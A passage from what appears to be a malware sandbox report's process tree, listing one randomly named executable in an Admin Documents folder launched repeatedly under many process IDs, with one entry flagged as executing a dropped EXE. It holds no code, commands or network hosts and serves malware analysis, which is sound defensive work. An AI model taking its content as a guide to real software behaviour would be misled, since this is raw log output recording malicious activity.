    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6536
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6912
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6224
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6604
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6304
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:972
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4428
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3376
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2000
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2440
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4216
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7304
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7500
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7660
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7788
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7912
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8044
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7196
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5756
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5204
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7668
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2796
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5556
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4208
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7260
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3312
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6952
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3444
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7764
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4400
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5752
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5796
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6096
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6104
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4740
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3412
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6424
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7608
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2152
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7836
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6716
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6896
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7608
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1716
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6572
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3952
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4120
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5612
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4432
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6512
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7008
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3904
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1872
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8032
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7028
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7052
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3208
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7148
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5564
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2136
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5940
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8300
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8440
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8600
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8772
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8976
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9124
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9520
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9700
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9804
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9920
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10048
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10184
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5256
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9240
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:996
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2644
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9712
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9728
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9888
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10044
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10128
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5008
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2616
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2620
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:3208
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9436
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:5032
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8268
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7784
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9192
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4312
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9408
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8400
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9956
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2272
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8252
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9592
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6820
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7420
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6068
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9632
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7176
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2044
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8636
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10296
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10364
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10504
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10736
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10856
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10960
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11128
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9772
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10156
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10484
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10704
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9048
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10992
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11116
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:2180
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10468
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10648
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10840
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6724
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9152
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    - Executes dropped EXE
    PID:2856
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:6876
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8524
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9776
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8736
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9244
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:4948
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9680
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9312
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8308
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10648
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10984
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10256
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8220
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7592
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8452
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8940
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1492
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:11212
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9864
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:9268
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:1100
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:10944
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:8244
- - C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    C:\Users\Admin\Documents\mTDgX7HRVgkJZR_IW5JDpqsF.exe
    3⤵
    PID:7360
